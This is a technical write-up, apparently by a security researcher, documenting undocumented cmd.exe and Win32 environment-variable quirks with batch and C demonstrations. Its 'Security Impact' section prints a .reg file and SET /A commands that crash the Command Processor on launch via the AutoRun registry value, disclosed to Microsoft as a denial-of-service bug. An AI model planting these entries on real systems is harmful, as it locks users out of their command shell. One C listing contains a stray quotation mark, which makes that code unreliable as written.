    IF DEFINED NUMBER_OF_PROCESSORS ECHO Environment variable 'NUMBER_OF_PROCESSORS' is defined!
    ECHO '%NUMBER_OF_PROCESSORS%'
    SET NUMBER_OF_PROCESSORS=quirk
    SET NUMBER_OF_PROCESSORS
    ECHO '%NUMBER_OF_PROCESSORS%'
    DPATH=.;..
    KEYS=OFF
    Environment variable '__APPDIR__' is defined!
    'C:\Windows\system32\'
    Environment variable __APPDIR__ not defined
    'C:\ProgramData\'
    Environment variable __CD__ not defined
    __CD__=quirk
    'C:\ProgramData\'
    Environment variable NUMBER_OF_PROCESSORS not defined
    Environment variable 'NUMBER_OF_PROCESSORS' is defined!
    '2'
    NUMBER_OF_PROCESSORS=quirk
    '2'
    Note: the undocumented builtin commands DPATH and KEYS set the undocumented process environment variables of the same name!

    Oops: the undocumented environment variables __CD__, __APPDIR__ and NUMBER_OF_PROCESSORS are both defined and not defined: this quirk exhibits a quantum superposition!

    Note: the undocumented (dynamic) pseudo environment variables __CD__, __APPDIR__ and NUMBER_OF_PROCESSORS are created (read-only) deep down in the bowels of NTDLL.dll, they are evaluated by the Win32 functions ExpandEnvironmentStrings() and GetEnvironmentVariable() even if a regular environment variable of the same name exists!

    OUCH: a fresh set (regular) environment variable NUMBER_OF_PROCESSORS shows two different values: again a quantum superposition!

    Note: for the dynamic environment variables CMDCMDLINE, CMDEXTVERSION and ERRORLEVEL provided by the Command Processor, the documentation for its builtin If command correctly states that their presence is reported by IF DEFINED and that they are obscured by eventually set (regular) environment variables with the same name; this applies also to the other dynamic environment variables provided by the Command Processor, CD, DATE, HIGHESTNUMANODENUMBER, RANDOM and TIME.

  3. Add some environment variables and list them all:

    SET !=exclamation mark
    SET #=hash sign
    SET $=dollar sign
    SET %=percent sign
    SET ^&=ampersand
    SET '=apostrophe
    SET (=left parenthesis
    SET )=right parenthesis
    SET *=asterisk
    SET +=plus sign
    SET ,=comma
    SET -=minus sign
    SET .=dot
    SET /=slash
    SET 0=zero
    SET 1=one
    SET 2=two
    SET 3=three
    SET 4=four
    SET 5=five
    SET 6=six
    SET 7=seven
    SET 8=eight
    SET 9=nine
    SET :=colon
    SET ;=semicolon
    SET ^<=less than
    SET ==equals sign
    SET ^>=greater than
    SET ?=question mark
    SET @=at sign
    SET [=left bracket
    SET \=backslash
    SET ]=right bracket
    SET ^^=caret
    SET _=underscore
    SET `=backtick
    SET {=left brace
    SET ^|=vertical bar
    SET }=right brace
    SET ~=tilde
    SET
    Syntax error
    Syntax error
    !=exclamation mark
    #=hash sign
    $=dollar sign
    %=percent sign
    &=ampersand
    '=apostrophe
    (=left parenthesis
    )=right parenthesis
    *=asterisk
    +=plus sign
    ,=comma
    -=minus sign
    .=dot
    0=zero
    1=one
    2=two
    3=three
    4=four
    5=five
    6=six
    7=seven
    8=eight
    9=nine
    :=colon
    ;=semicolon
    <=less than
    >=greater than
    ?=question mark
    @=at sign
    [=left bracket
    \=backslash
    ]=right bracket
    ^=caret
    _=underscore
    `=backtick
    {=left brace
    |=vertical bar
    }=right brace
    ~=tilde
    Oops: except for = and /, which are rejected (as expected: = terminates a variable name and /=… is an invalid switch) with an error message, all printable non-alphabetical ASCII characters are accepted as valid variable names!

    Note: the evaluation of the (mis)behaviour for single character variable names beyond the 7-bit ASCII code is left as an exercise to the reader.

  4. Evaluate environment variables with special command shell characters in their name with delayed expansion enabled:

    ECHO %%%
    ECHO %^&%
    ECHO %^<%
    ECHO %^>%
    ECHO %^^%
    ECHO %^|%
    ECHO !%!
    ECHO !^&!
    ECHO !^<!
    ECHO !^>!
    ECHO !^^!
    ECHO !^|!
    FOR /F "Delims==" %? IN ('SET') DO @SET %?=
    SET "/=slash"
    SET "/ =slash, blank"
    SET " / =blank, slash, blank"
    SET
    ECHO %/%
    ECHO %/ %
    ECHO % / %
    ECHO %;%
    %%%
    %&%
    %<%
    %>%
    %^%
    %|%
    percent sign
    ampersand
    less than
    greater than
    caret
    vertical bar
    /=slash
    / =blank, slash, blank
    ;=semicolon
    slash
    blank, slash, blank
    % / %
    semicolon
    Ouch: expansion of variables named %, &, <, >, ^ and | fails when enclosed in percent signs, i.e. with standard expansion; they have to be enclosed in exclamation marks instead, i.e. must use delayed expansion!

    Note: enclosed in quotation marks, / is finally accepted as environment variable name!

    Oops: (ab)using quotation marks, the builtin Set command accepts variable names with trailing blanks, but strips leading blanks!

  5. Evaluate some numerical values:

    SET quirk=0xFFFFFFFF
    SET /A quirk
    SET quirk=0x80000000
    SET /A quirk
    SET quirk=4294967295
    SET /A quirk
    SET quirk=2147483647
    SET /A quirk
    SET quirk=-2147483648
    SET /A quirk
    SET quirk=-2147483649
    SET /A quirk
    SET quirk=-4294967296
    SET /A quirk
    SET quirk=-0xFFFFFFFF
    SET /A quirk
    SET quirk=
    2147483647
    2147483647
    2147483647
    2147483647
    -2147483648
    -2147483648
    -2147483648
    -2147483648
    Note: contrary to its documentation cited above, SET /A works without variable name and assignment operator on the left side of an expression!

    OUCH: when read from an environment variable, positive (hexadecimal) values greater than 2147483647, the largest signed 32-bit integer, are clamped to 2147483647, and negative (hexadecimal) values smaller than −2147483648, the smallest signed 32-bit integer, are clamped to −2147483648!

  6. Evaluate the numerical value of three of the (documented) dynamic environment variables:

    ECHO %CMDEXTVERSION%
    SET /A CMDEXTVERSION
    CMD.EXE /C EXIT 123
    ECHO %ERRORLEVEL%
    SET /A ERRORLEVEL
    ECHO %RANDOM%
    SET /A RANDOM
    2
    0
    123
    0
    27457
    0
    Oops: contrary to the second highlighted part of the documentation cited above, SET /A fails to evaluate dynamic environment variables!
  7. Perform some basic arithmetic operations:

    SET /A 65536 * 65536
    SET /A -65536 * 65536
    SET /A -65536 * -65536
    SET /A -32768 * -65536
    SET /A -32768 * 65536
    SET /A 32768 * 65536
    SET /A 32768 * 65536 - 1
    SET /A 32768 * 65536 + 32768 * 65536
    0
    0
    0
    -2147483648
    -2147483648
    -2147483648
    2147483647
    0
    Oops: 65536 × 65536 is equal to −65536 × 65536, −65536 × −65536 and 32768 × 65536 + 32768 × 65536, while 32768 × 65536 is equal to −32768 × 65536 and −32768 × −65536, i.e. signed integer overflow wraps around.
  8. Perform some basic logical operations:

    SET /A 1 ^<^< 31
    SET /A 1 ^<^< 31 ^>^> 30
    SET /A 1 ^<^< 32
    SET /A -1 ^>^> 33
    -2147483648
    -2
    0
    -1
    OUCH: contrary to the documentation cited above, the operator >> performs an arithmetic (right) shift instead of a logical shift, i.e. it propagates the sign bit to the right!

    Oops: the shift count is not limited to the width of the numbers!

  9. Finally show the bug:

    SET /A -2147483648
    SET /A ~2147483647
    SET /A ~2147483647 / -1
    SET /A ~2147483647 % -1
    Invalid number. Numbers are limited to 32-bits of precision.
    -2147483648
    Invalid number. Numbers are limited to 32-bits of precision.
    Oops: although valid, a literal −2147483648, the smallest signed 32-bit integer, is reported as invalid number.

    OUCH: on systems with i386 or AMD64 processor, the Command Processor crashes computing the modulus of −2147483648 ÷ −1 (which happens to be 0, the only number smaller in magnitude than the divisor −1)!

    Note: dividing −2147483648, the smallest signed 32-bit integer, by −1 yields the quotient 2147483648, which is but not representable as signed 32-bit integer and therefore produces an overflow (really: raises a divide error exception alias #DE) that the Command Processor fails to handle, i.e. neither prevents nor catches for the modulus operator, while it does so for the division operator!

    Note: integer overflow and failure to catch the eventually resulting exception are well-known weaknesses, documented as CWE-190: Integer Overflow or Wraparound and CWE-248: Uncaught Exception in the CWE; they allow well-known attacks like CAPEC-92: Forced Integer Overflow documented in the CAPEC.

Security Impact

The documentation for the Command Processor Cmd.exe states:
Parameter Description
/d Disables execution of AutoRun commands.
[…]
By setting one or both of these registry entries to (for example) the value SET /A ~2147483647 % ~0 or the value SET /A "(1 << 31)" % -1, this 25 year old bug (really: absolute beginner’s programming error) can trivially be (ab)used to conduct a denial of service attack against the Command Processor and crash it upon launch, thus disabling its use for single or all users of a machine:
REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"AutoRun"="SET /A ~2147483647 % ~0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="SET /A \"(1 << 31)\" % -1"

MSRC Case 71680

Due to its security impact I reported this bug to the MSRC where case number 71680 was assigned.

They replied with the following bullshit statement:

Though engineering confirmed the crash in this case, it was assessed as a Low severity DoS.
Their reasoning centers around the requirement to have admin privileges to pull off the attack.
OUCH: unprivileged users can write the AutoRun registry entry in their HKEY_CURRENT_USER\Software\Microsoft\Command Processor registry key, and they can insert the command SET /A "(1 << 31)" % ~0 or SET /A ~2147483647 % -1 in every batch script they are able to (over)write!

Will engineering ever learn to use their Windows PCs as unprivileged users?

Quirk № 9

The Win32 functions SetEnvironmentVariable() and GetEnvironmentVariable() are documented in the MSDN as follows:
Sets the contents of the specified environment variable for the current process.
DWORD SetEnvironmentVariable(
  LPCTSTR lpName,
  LPTSTR  lpValue
);
[…]

lpName

The name of the environment variable. The operating system creates the environment variable if it does not exist and lpValue is not NULL.

lpValue

The contents of the environment variable. […]

If this parameter is NULL, the variable is deleted from the current process's environment.

[…]

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Retrieves the contents of the specified variable from the environment block of the calling process.
DWORD GetEnvironmentVariable(
  LPCTSTR lpName,
  LPTSTR  lpBuffer,
  DWORD   nSize
);
[…]

nSize

The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters. […]

If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.

Note: designed and implemented properly, this function would return the value of nSize for failure, supporting successful retrieval of empty environment variables!

In addition to the quirk bug demonstrated below, the documentation fails to tell that lpBuffer can be 0 alias NULL if nSize is 0 too.
It also exhibits a very common mistake that is present in many other MSDN articles too: there is no null-terminating character, but a (string-)terminating NUL alias (string-)terminating null character!

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk9.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szCount[] = {L"__APPDIR__", L"__CD__"", L"FIRMWARE_TYPE", L"NUMBER_OF_PROCESSORS"};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwCount = 0;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		do
    		{
    			if (!SetEnvironmentVariable(szCount[dwCount], dwCount == 0 ? NULL : L""))
    				PrintConsole(hConsole,
    				             L"SetEnvironmentVariable(\"%ls\", \"%ls\") returned error %lu\n",
    				             szCount[dwCount], dwCount == 0 ? NULL : L"", dwError = GetLastError());
    
    			dwBuffer = GetEnvironmentVariable(szCount[dwCount], szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned error %lu\n",
    				             szCount[dwCount], szBuffer, sizeof(szBuffer) / sizeof(*szBuffer), dwError = GetLastError());
    			else
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned value \'%ls\' of %lu characters\n",
    				             szCount[dwCount], szBuffer, sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, dwBuffer);
    		}
    		while (++dwCount < sizeof(szCount) / sizeof(*szCount));
    
    		if (!SetEnvironmentVariable(L"EMPTY", L""))
    			PrintConsole(hConsole,
    			             L"SetEnvironmentVariable(\"EMPTY\", \"\") returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			dwBuffer = GetEnvironmentVariable(L"EMPTY", szBuffer, 0);
    
    			if (dwBuffer == 0)
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned error %lu\n",
    				             szBuffer, dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned buffer size %lu\n",
    				             szBuffer, dwBuffer);
    
    				SetLastError('FAIL');
    
    				dwCount = GetEnvironmentVariable(L"EMPTY", szBuffer, dwBuffer);
    
    				if (dwCount == 0)
    					PrintConsole(hConsole,
    					             L"GetEnvironmentVariable(\"EMPTY\", 0x%p, %lu) returned error %lu\n",
    					             szBuffer, dwBuffer, dwError = GetLastError());
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk9.exe from the source file quirk9.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk9.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk9.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk9.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk9.exe
    quirk9.obj
  3. Execute the console application quirk9.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk9.exe
    SET /A 0x4641494C
    GetEnvironmentVariable("__APPDIR__", 0x0037F884, 260) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    GetEnvironmentVariable("__CD__", 0x0037F884, 260) returned value 'C:\Users\Stefan\Desktop\' of 24 characters
    GetEnvironmentVariable("FIRMWARE_TYPE", 0x0037F884, 260) returned error 183
    GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0037F884, 260) returned value '4' of 1 characters
    GetEnvironmentVariable("EMPTY", 0x0037F884, 0) returned buffer size 1
    GetEnvironmentVariable("EMPTY", 0x0037F884, 1) returned error 1178683724
    1178683724
    Note: the undocumented pseudo environment variable FIRMWARE_TYPE was introduced with Windows 8 and Windows Server 2012.

    Oops: the undocumented pseudo environment variables __APPDIR__, __CD__ and NUMBER_OF_PROCESSORS are neither read from nor written into the process environment block, but handled specially; their values are the path names of the application directory and the CWD, both with a trailing backslash, and the number of processor cores.

    OUCH¹: for the environment variables __APPDIR__, __CD__ and NUMBER_OF_PROCESSORS, the Win32 function SetEnvironmentVariable() returns success, but fails to delete them or overwrite their value!

    OUCH²: for environment variables with empty value, the Win32 function GetEnvironmentVariable() returns 0, but fails to (re)set the Win32 error code 0 alias ERROR_SUCCESS to indicate no error!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 10

The Win32 functions GetTempPath() and GetTempFileName() are documented in the MSDN as follows:
Retrieves the path of the directory designated for temporary files.
DWORD GetTempPath(
  DWORD  nBufferLength,
  LPTSTR lpBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.

[…]

The maximum possible return value is MAX_PATH+1 (261).

[…]

The GetTempPath function checks for the existence of environment variables in the following order and uses the first path found:

  1. The path specified by the TMP environment variable.
  2. The path specified by the TEMP environment variable.
  3. The path specified by the USERPROFILE environment variable.
  4. The Windows directory.
Creates a name for a temporary file. If a unique file name is generated, an empty file is created and the handle to it is released; otherwise, only a file name is generated.
UINT GetTempFileName(
  LPCTSTR lpPathName,
  LPCTSTR lpPrefixString,
  UINT    uUnique,
  LPTSTR  lpTempFileName
);
[…]

lpPathName

The directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.

In addition to the quirks bugs demonstrated below, the documentation for the GetTempPath() function fails to tell that lpBuffer can be 0 alias NULL if nBufferLength is 0 too.

There’s yet another (triple) omission in that documentation: The path specified by the […] environment variable. needs to be read as The absolute or relative path specified by the […] environment variable.

The default value of the system-specific environment variables TEMP and TMP is %SystemRoot%\TEMP, and the default value of the user-specific environment variables TEMP and TMP is %USERPROFILE%\AppData\Local\Temp, i.e. both reference another environment variable. If this one is undefined during creation of the environment block, the respective substring %SystemRoot% or %USERPROFILE% is not replaced with the contents of the referenced environment variable and thus preserved. In consequence the GetTempPath() function returns the literal value %SystemRoot%\TEMP or %USERPROFILE%\AppData\Local\Temp respectively, which both are valid relative path names. Since a subdirectory with this path name does almost always not exist in the CWD, programs which rely on the existence of the path returned from the GetTempPath() function are subject to fail!

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk10.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szBuffer[MAX_PATH + 2];
    	DWORD	dwBuffer;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwBuffer = GetTempPath(sizeof(szBuffer) / sizeof(*szBuffer), szBuffer);
    
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetTempPath() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetTempPath() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    			if (GetTempFileName(szBuffer, L"tmp", 0, szBuffer) == 0)
    				PrintConsole(hConsole,
    				             L"GetTempFileName() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				PrintConsole(hConsole,
    				             L"GetTempFileName() returned pathname \'%ls\'\n",
    				             szBuffer);
    
    				if (!DeleteFile(szBuffer))
    					PrintConsole(hConsole,
    					             L"DeleteFile() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk10.exe from the source file quirk10.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk10.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk10.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk10.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk10.exe
    quirk10.obj
  3. Create the text file quirk10.cmd with the following content in the directory used in the previous steps 1. and 2.:

    REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "%ALLUSERSPROFILE%"
    SET T
    @"%~dpn0.exe"
    SET TMP=
    @"%~dpn0.exe"
    SET TEMP=
    @"%~dpn0.exe"
    SET USERPROFILE=
    @"%~dpn0.exe"
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    @"%~dpn0.exe"
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    @"%~dpn0.exe"
    SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    @"%~dpn0.exe"
    SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    @"%~dpn0.exe"
    SET TMP=%SystemDrive%\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    @"%~dpn0.exe"
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    @"%~dpn0.exe"
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    @"%~dpn0.exe"
    SET TMP=..
    @"%~dpn0.exe"
    SET TMP=%%USERPROFILE%%\AppData\Local\Temp
    @"%~dpn0.exe"
    SET TMP=%%SystemRoot%%\Temp
    @"%~dpn0.exe"
    SET TMP=NUL:
    @"%~dpn0.exe"
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    EXIT /B
  4. Execute the batch script quirk10.cmd created in step 3. on Windows 7 (or an earlier version):

    .\quirk10.cmd
    REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    SETLOCAL
    CHDIR /D "C:\ProgramData"
    SET T
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4711.tmp'
    
    SET TMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\' of 35 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\AppData\Local\Temp\tmp4723.tmp'
    
    SET TEMP=
    GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters
    GetTempFileName() returned pathname 'C:\Users\Stefan\tmp4732.tmp'
    
    SET USERPROFILE=
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4742.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4754.tmp'
    
    SET USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz
    GetTempPath() returned pathname 'C:\Windows\' of 11 characters
    GetTempFileName() returned pathname 'C:\Windows\tmp4767.tmp'
    
    SET TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvw
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv
    GetTempPath() returned pathname 'C:\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuv\' of 130 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxy\' of 145 characters
    GetTempFileName() returned error 267
    
    SET TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
    GetTempPath() returned pathname 'C:\ProgramData\' of 15 characters
    GetTempFileName() returned pathname 'C:\ProgramData\tmp47BD.tmp'
    
    SET TMP=..
    GetTempPath() returned pathname 'C:\' of 3 characters
    GetTempFileName() returned pathname 'C:\tmp47CE.tmp'
    
    SET TMP=%USERPROFILE%\AppData\Local\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%USERPROFILE%\AppData\Local\Temp\' of 48 characters
    GetTempFileName() returned error 267
    
    SET TMP=%SystemRoot%\Temp
    GetTempPath() returned pathname 'C:\ProgramData\%SystemRoot%\Temp\' of 33 characters
    GetTempFileName() returned error 267
    
    SET TMP=NUL:
    GetTempPath() returned pathname '\\.\NUL\' of 8 characters
    GetTempFileName() returned error 267
    
    0x10B (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    EXIT /B
    OUCH¹: the environment variables TMP, TEMP and USERPROFILE are discarded on Windows 7 and earlier versions if their value is not less than 130 (= MAX_PATH ÷ 2) characters!

